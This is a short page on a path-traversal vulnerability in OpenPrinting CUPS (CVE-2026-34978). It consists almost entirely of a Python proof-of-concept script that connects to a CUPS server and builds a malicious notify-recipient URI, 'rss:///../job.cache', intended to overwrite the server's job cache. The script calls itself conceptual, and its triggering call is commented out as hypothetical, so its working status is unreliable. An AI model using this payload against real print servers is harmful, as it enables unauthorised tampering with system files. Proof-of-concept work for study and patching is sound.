CVE-2026-34978 OpenPrinting CUPS 路径遍历漏洞

# PoC for CVE-2026-34978 # This script demonstrates sending a malicious IPP request to trigger path traversal # Note: This is a conceptual example based on the vulnerability description. import cups def exploit_cups_path_traversal(target_server, printer_uri): try: # Connect to the CUPS server conn = cups.Connection(target_server) # The malicious payload utilizing path traversal # This attempts to write to job.cache instead of the rss directory malicious_uri = "rss:///../job.cache" # Set printer options or create a printer with the malicious notify-recipient-uri # In a real scenario, this might be part of a print-job or set-printer-attributes request printer_name = "VulnerablePrinter" print(f"[*] Attempting to exploit {target_server}...") print(f"[*] Malicious URI: {malicious_uri}") # Simulating setting the attribute that triggers the vulnerability # Actual exploitation requires specific IPP attribute manipulation conn.addPrinter(printer_name, device=printer_uri) # Hypothetical call to trigger the notifier # conn.setPrinterAttributes(printer_name, {"notify-recipient-uri": malicious_uri}) print("[+] Payload sent. Check if job.cache was corrupted.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "localhost:631" exploit_cups_path_traversal(target, "ipp://localhost/printers/test")